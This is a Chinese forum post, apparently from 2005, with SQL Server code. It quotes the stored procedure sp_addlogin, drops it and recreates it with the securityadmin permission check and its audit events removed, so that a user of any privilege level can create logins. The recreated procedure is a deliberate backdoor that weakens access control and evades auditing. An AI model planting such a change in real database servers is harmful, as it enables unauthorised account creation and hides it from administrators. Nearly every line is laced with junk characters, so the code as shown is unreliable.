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[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
5 O" D2 Q. w# a" w0 I7 d* {@loginame sysname
$ F3 f9 E. b3 Y) ],@passwd sysname = Null4 O* y4 _. s# L! y8 ]! j
,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT
- m4 D9 Z) o% P3 J: h; ?CONFIGURABLE???
2 Y. p2 Z+ L4 g% t) ],@deflanguage sysname = Null
. T/ o6 k& Q4 g,@sid varbinary(16) = Null9 D( v+ {( z- L9 Z: p2 N4 F
,@encryptopt varchar(20) = Null! L f7 ~9 C2 h6 z c
AS. `2 C9 W6 _( c# C& w7 [& e5 t
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
' b) G$ I t) P) O% Mset nocount on1 i: j! p" Y, w
Declare @ret int -- return value of sp call
3 m. N7 ` S: Y0 r6 h-- CHECK PERMISSIONS --
- B. n9 @1 [. F" V* K. F& Z1 wIF (not is_srvrolemember(\'securityadmin\') = 1)# j% N! m% x+ w9 x C8 g" ~
begin
9 D$ ^2 j1 Z2 |dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)9 @) g( {/ j2 s+ y7 a, I m
raiserror(15247,-1,-1)7 \# x2 O' p( ^" ]8 C" H
return (1)/ y: o: g' V8 l4 |
end
! w6 M. G" k) O8 U1 _& ~" Q" b0 nELSE8 @6 k6 m! a7 R& C2 K
begin7 h7 C, b' n) I3 T" H/ K
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid). t1 [2 n; v. y7 I# E) i* J& V
end
! h, c) o3 Z n-- DISALLOW USER TRANSACTION --, K a4 N7 q) h. p( G8 p1 ^
set implicit_transactions off4 J4 ]. O6 Z) n6 F5 }8 @
IF (@@trancount > 0): n- f$ }" n( {* v! W
begin G8 u) E5 f( ?" O8 w: \" D
raiserror(15002,-1,-1,\'sp_addlogin\')
# Z0 j/ p& ]9 L) n) M x' |return (1)# N9 |1 r5 x- Y. i) j
end9 y0 G: w5 `8 \) ]
-- VALIDATE LOGIN NAME AS:
0 |6 U. Y( }0 o9 y0 u# h-- (1) Valid SQL Name (SQL LOGIN)& K9 w; }: }' B. ?$ h
-- (2) No backslash (NT users only)
i. Q# t5 H% n y5 T-- (3) Not a reserved login name& f# L" ~# m5 Z0 A9 S: b, }
execute @ret = sp_validname @loginame
" a f. e. {, a4 J+ |if (@ret <> 0)
1 M9 @* W) S( q& O' B- z return (1). c! _- Z! T) C+ J( P
if (charindex(\'\\\', @loginame) > 0)
5 S' O4 h( D- wbegin
X' c8 Y$ f, h' a/ A5 ` raiserror(15006,-1,-1,@loginame)* A d0 U/ c. G5 w9 ~
return (1)
4 v( ~+ `6 Y# C A5 Hend
8 i$ b! ^# h; W$ H7 [$ r; G8 V0 {--Note: different case sa is allowed.
+ k( D- t7 o! tif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))- D6 V& t1 c/ d" i7 Y' @% N7 C3 z
begin
% I5 Z7 f. S. o M0 K/ F$ S& L0 Lraiserror(15405, -1 ,-1, @loginame)+ T' t# O2 k" K* c3 F, J
return (1)
5 R/ g1 T8 \. B* D& o* Uend! ?, n( M1 G9 _
-- LOGIN NAME MUST NOT ALREADY EXIST --
% ?" }+ i" @& i- i6 Fif exists(select * from master.dbo.syslogins where loginname =
( v D6 H& `6 q' c@loginame)
; p4 ]* v3 m% Q# r1 O1 {4 H, Abegin
+ C( \! r; u& y: B$ Xraiserror(15025,-1,-1,@loginame)
9 S* T5 b2 c7 Treturn (1)2 } k0 e+ @8 h T4 i* r( B
end
0 a' j+ X1 a/ C' r2 a+ y-- VALIDATE DEFAULT DATABASE --& F" v% r; z+ S# F9 n+ W5 m/ @
IF db_id(@defdb) IS NULL
. `0 K$ F: ^" _1 m% p0 o+ sbegin+ H, _3 Z' `0 C0 C/ |% S5 e9 [
raiserror(15010,-1,-1,@defdb)$ [; J5 P$ s& l
return (1); y- a' ?: o. z1 f6 `( l; D) S
end2 U( G- X. D" k& l
-- VALIDATE DEFAULT LANGUAGE --9 G, b6 U5 v4 w0 U' R8 \1 x
IF (@deflanguage IS NOT Null)( d+ |0 k8 m% j$ h: }8 c8 W
begin$ ?4 _9 w% ]% N1 P& J K
Execute @ret = sp_validlang @deflanguage3 K9 r$ `) i- O( I" G
IF (@ret <> 0), @2 d4 A4 n+ f; r( ~, Q6 V& q. D
return (1)
+ h5 X; D$ C* f J. K- X: m. ]end
4 _( j( o k. y& [: J% U* kELSE! h4 |+ _4 Z1 c, e* u/ `
begin- t" F3 P6 j8 d J/ d
select @deflanguage = name from master.dbo.syslanguages
4 ^$ S2 j; i6 n) O. `7 }' bwhere langid = @@default_langid --server default
% y `$ g# x8 i8 Dlanguage9 b8 B" D+ }; W8 v
if @deflanguage is null3 M' e/ |1 }; ^$ J' ]; s% x
select @deflanguage = N\'us_english\'! X4 f4 B" [" w8 _
end) H5 l" c3 m* p1 L+ o
-- VALIDATE SID IF GIVEN --
: y3 S5 @. p+ E7 I) M& i" Gif ((@sid IS NOT Null) and (datalength(@sid) <> 16))) ]# ~0 H3 t! x/ E4 ~
begin
8 q2 E& r4 G+ A6 p! Qraiserror(15419,-1,-1)8 C+ Y% q6 O) L# w; d: r- G6 m
return (1)
X/ o6 F I; {3 [. C ]end
0 F$ E O c5 o1 Telse if @sid is null
$ i/ ?! k" K6 Dselect @sid = newid()
4 T% K) D8 ~( [. F0 o/ {if (suser_sname(@sid) IS NOT Null)/ f" o8 ]3 _7 a! ~, b1 Q
begin4 ?8 c ]! P' I \. h' \
raiserror(15433,-1,-1)
3 s& E" I$ T- r" S$ u8 S1 Lreturn (1)
& U9 v) T% i: a' n7 T" ^# tend
d& i& X( n" n3 ^-- VALIDATE AND USE ENCRYPTION OPTION --
9 S2 n# u1 M# N! t6 Xdeclare @xstatus smallint
( |* _3 Y X- u5 }6 }- t4 L1 ^select @xstatus = 2 -- access+ }' K/ g+ G+ V- W- g9 O
if @encryptopt is null
( Q% x# b1 ~0 Y- ]1 dselect @passwd = pwdencrypt(@passwd)$ f4 G# l v6 K1 H
else if @encryptopt = \'skip_encryption_old\'
1 |0 a( M- y: S S3 d! ?8 |begin7 I8 G2 H2 g* M* p: O) {- S2 g
select @xstatus = @xstatus | 0x800, -- old-style / m7 A: X3 _/ E+ n2 K
encryption9 C# N7 v. @, d/ C
@passwd = convert(sysname, convert(varbinary9 Z. o" [! z5 X
(30), convert(varchar(30), @passwd))). ^. f4 b( ^ k; _% X" k- x
end
( `) Z. t9 V8 s3 x6 eelse if @encryptopt <> \'skip_encryption\'% c, E6 Y5 e; D" t
begin+ `6 ^2 F- W# V3 P
raiserror(15600,-1,-1,\'sp_addlogin\')4 r- Z0 Y C4 i. Y6 t
return 1
/ q7 r) |- p! K C4 C4 G" K0 Qend" E9 B, [" K! i1 y
-- ATTEMPT THE INSERT OF THE NEW LOGIN --# r) w! @1 l/ ~% ~2 K; _, t8 \
INSERT INTO master.dbo.sysxlogins VALUES
0 ^! R1 F! U$ T; W w" Q (NULL, @sid, @xstatus, getdate(),# k3 i# ], e; X& c5 K; v* ?
getdate(), @loginame, convert(varbinary(256), @passwd),
( r. C8 S4 a7 l8 R+ _ db_id(@defdb), @deflanguage)5 _' y( a/ W" N q/ @
if @@error <> 0 -- this indicates we saw duplicate row
; W. j2 H( `9 u$ |* d& J+ e; @ return (1)
7 D/ _+ i+ T7 I" h% E/ @-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE : b$ M. B4 f5 g! S- e% |
SYSLOGINS CHANGE --
! |: a* _- m6 J$ texec(\'use master grant all to null\')4 Z; A7 X# x+ t
-- FINALIZATION: RETURN SUCCESS/FAILURE --9 z3 [- t% S6 u% V r- O7 _3 K
raiserror(15298,-1,-1)
6 C9 N( i# J( s# c P! b6 Oreturn (0) -- sp_addlogin% [* L, ^! T( S; ~) B7 ]% {
GO
1 O: E9 O4 S7 D( P之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
8 Q( y$ \5 l$ Q, H+ P) psp_addlogin，主要是这里一段再搞鬼
! ~( F' O5 G5 q" I" K1 V9 M% \-- CHECK PERMISSIONS --
. x. G' q( N$ n, _" KIF (not is_srvrolemember(\'securityadmin\') = 1)2 e, o% r# b+ O
begin
/ H2 v1 F# Y0 ydbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
7 ?" s" {) N( x: D: _' Araiserror(15247,-1,-1). a4 |0 E$ G! y& y5 O9 Z3 D9 [" J
return (1)
" C; g' V3 t5 Pend" C* M' o2 r! N+ N: N0 O; o) {2 ?
ELSE4 Q/ J) L. }( e
begin
) x" p6 T4 \: Zdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
+ y3 M; n0 E2 q0 K' `' B& `* Vend( o2 Z* `/ w9 o( X. v/ X
1 F( z9 S6 c. l' w8 L
只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
6 r( g$ B5 x* T8 }drop procedure sp_addlogin+ I9 g% \ h4 p; Z
# R: q/ c1 E' N, [
9 o. w; b( h1 s
) t* E& M! [3 K2 W然后再来恢复sp_addlogin
* @0 n# }0 G+ S! z2 e. n( a
. x' x$ E8 a) U! s) w' O& x5 l- b. ?: K, V; E/ R+ }5 D
9 L0 f# u5 T! R# K, `; y" _! o8 r
create procedure sp_addlogin0 a6 {9 Q# \% r1 M2 `4 d: S9 U
@loginame sysname! a. J; W* Q; d/ w+ W4 C
,@passwd sysname = Null- j. A: `6 \! q( s9 W0 ^
,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT ; L. D3 U' C" y+ V* K
CONFIGURABLE???& c7 _" r* A7 u D2 I
,@deflanguage sysname = Null
7 h' q7 L+ N, `; s+ [,@sid varbinary(16) = Null4 D8 E# j8 A) t U
,@encryptopt varchar(20) = Null
$ L, e, L( i* gAS
, P: ]7 c4 Q7 l! Q9 i8 q! \- V-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
" G7 s% Z2 e- T y+ Z8 Bset nocount on* f# g. o# o& d; F7 b. G% {6 w# T7 f
Declare @ret int -- return value of sp call
6 A3 p/ \/ a' V1 n+ r& m% q" I2 v7 A. }) j$ r/ u( h: K7 ]
-- DISALLOW USER TRANSACTION --9 n5 C& P, J4 M( d! v1 n/ `
set implicit_transactions off7 z1 K+ d/ O" h. M) Q
IF (@@trancount > 0)# d" ^" c% m+ w) S# [
begin
! r: W5 n: v# `; m( s# J( A' araiserror(15002,-1,-1,\'sp_addlogin\')$ K9 e$ \7 m( x9 q# F
return (1)* @2 P: a5 c% h6 |5 n m$ a, s7 @$ G( H9 n
end
1 j- i0 t/ V" } Q-- VALIDATE LOGIN NAME AS:
% J# i/ d6 Q8 n7 r& m$ W-- (1) Valid SQL Name (SQL LOGIN)$ g5 B, O' y+ o, s% s+ I: a
-- (2) No backslash (NT users only)
) b1 b6 r, b3 ?& O-- (3) Not a reserved login name) I% y2 c2 ^9 O3 g) }+ f9 y* y
execute @ret = sp_validname @loginame
. r' I' i$ }. p) ?if (@ret <> 0) c; a3 A0 t) Y4 T# d m$ x
return (1)
0 D ?: E; t* ~0 {, x4 oif (charindex(\'\\\', @loginame) > 0)9 e ~8 }. b5 j+ O
begin
8 } l. s- a( y- Q6 { raiserror(15006,-1,-1,@loginame)
7 H" u6 I8 `' ^# U" N return (1)
+ W: O& C; r1 S8 G' O9 e y8 Send
- k' r: G+ F4 T--Note: different case sa is allowed.
$ Z+ Z$ }; p( v' Yif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
& r# X: r' |# ibegin( Z Q* {, `8 p2 E1 m
raiserror(15405, -1 ,-1, @loginame)
" U% T6 T9 I+ r- V7 c: wreturn (1)3 {4 Z0 {* |- h7 I0 _; a
end
& a w% B, x: c$ W; J2 Y+ |-- LOGIN NAME MUST NOT ALREADY EXIST --1 t, |: r6 ?0 Y) s# |; V1 E( b
if exists(select * from master.dbo.syslogins where loginname = X# d# Q# ]4 X1 L
@loginame)
: k/ G$ _, o3 {begin V- L; @! T( y* ]
raiserror(15025,-1,-1,@loginame)
* j- U2 k, K, X9 d; \return (1). q+ m/ v+ G0 e# E1 x
end
& Q$ k, F) _$ t-- VALIDATE DEFAULT DATABASE --
* n/ Z! n4 Q2 l) \1 GIF db_id(@defdb) IS NULL
: L- I$ b, U7 M. x& \begin7 G, }5 X! `- o% V: G X
raiserror(15010,-1,-1,@defdb)# Q3 V* B9 ]% e4 E
return (1)
, {7 H3 t8 e) C; Send; j" q$ T q! {: i" r% d w: D
-- VALIDATE DEFAULT LANGUAGE --
8 X" Q7 q H. _9 g5 e) `, V5 C& VIF (@deflanguage IS NOT Null)
. t. T8 W g$ V. u4 Mbegin
8 w" A) V: |$ Y" \$ j% z5 uExecute @ret = sp_validlang @deflanguage
, O( w& ?8 ~/ n# ]5 i7 D7 [IF (@ret <> 0)7 ?+ k( K: l" x1 ^( R# G2 e
return (1)
4 O; v( V! [' a; E4 n$ Vend& R! H& x# \+ [
ELSE* Q& v% s3 J9 b, F* Y
begin5 d5 ^+ ~4 R4 g3 r
select @deflanguage = name from master.dbo.syslanguages
: } F8 g( j# @- q. q. _* Bwhere langid = @@default_langid --server default $ ?: t/ }/ Z* s
language
1 I! I" I6 y8 x7 {& `+ ~( b) S) p& Dif @deflanguage is null! I3 d" i2 D( U( H
select @deflanguage = N\'us_english\'+ V$ m. ]4 o. G6 Z
end) f/ a/ }! r% V5 H5 |+ k: `1 u
-- VALIDATE SID IF GIVEN --
# h/ i/ q; o8 Z7 H3 G. sif ((@sid IS NOT Null) and (datalength(@sid) <> 16))" v+ a2 |5 M/ c4 f0 h* I* p) w
begin
- [, f: P; C8 x) |; wraiserror(15419,-1,-1)
0 h+ i0 F* J0 J% `" j. ureturn (1)! @1 ^7 M6 N7 G" t8 \1 j; N6 W
end% ~8 ?2 v! n1 `( b
else if @sid is null
0 J5 |: {$ V/ Tselect @sid = newid()
" i6 d" H' A7 T* |5 b! qif (suser_sname(@sid) IS NOT Null) P% b- _* L/ a! n
begin
$ f: R! f5 C/ L( Y1 araiserror(15433,-1,-1)' y w* v+ I0 V) h/ R
return (1). ]1 G4 ?9 h/ Y% _ S; J
end% \ {: I1 v" A
-- VALIDATE AND USE ENCRYPTION OPTION --
/ Y6 n2 y6 P$ |# Tdeclare @xstatus smallint
. a, \4 J. [ s) _9 jselect @xstatus = 2 -- access
. W' }8 O3 I+ _0 t4 b5 qif @encryptopt is null
" m9 N' y V+ M; jselect @passwd = pwdencrypt(@passwd)* k9 j4 e9 Y# w# x. }4 t
else if @encryptopt = \'skip_encryption_old\'4 a) ~4 l7 K9 E
begin' R1 e; S/ e7 I7 _! f9 v9 L/ ?
select @xstatus = @xstatus | 0x800, -- old-style ( U% m f& _4 v" f+ F! G6 |$ l
encryption
; r$ b8 B a6 Y/ }@passwd = convert(sysname, convert(varbinary
& g9 h% ^7 C* J; _& p(30), convert(varchar(30), @passwd)))! L: B4 Q. |" U! B/ S9 n0 i v. G
end
% m3 I w/ y+ f2 Selse if @encryptopt <> \'skip_encryption\'
2 F2 T( m: g( Q# p5 C% ubegin( L0 p+ b) S; C5 m6 V
raiserror(15600,-1,-1,\'sp_addlogin\')* ~/ A2 a) w+ r, a1 J
return 1
" X G; t% h; p" x z, cend
$ ]. }, r& {% m6 K7 z: Y-- ATTEMPT THE INSERT OF THE NEW LOGIN --0 _7 s5 M: O2 F* v1 L! s E
INSERT INTO master.dbo.sysxlogins VALUES, L$ y) g# m% w! d9 a3 F" ?6 o
(NULL, @sid, @xstatus, getdate(),
5 `8 X- E8 {6 ` getdate(), @loginame, convert(varbinary(256), @passwd),
0 o4 T9 j/ J3 t7 _; g db_id(@defdb), @deflanguage)& ]( I' N0 U3 a* d) \0 U- }
if @@error <> 0 -- this indicates we saw duplicate row
7 M6 v1 I$ ^, {( Y: B! \# z5 E return (1)8 y `9 @" f* b
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
8 T; m5 \0 ^5 R( x' M& J/ B. QSYSLOGINS CHANGE --8 V9 h$ ?& S( |8 ]
exec(\'use master grant all to null\')
0 O {0 B/ i0 C-- FINALIZATION: RETURN SUCCESS/FAILURE --
8 s7 l( O) w! hraiserror(15298,-1,-1)
# p# e6 b2 d/ L" E$ f+ W3 a, freturn (0) -- sp_addlogin$ O: R3 f" }. j/ S. L9 H% m9 L
GO
MM很强啊.. 是不是师院计算机系的.?? |
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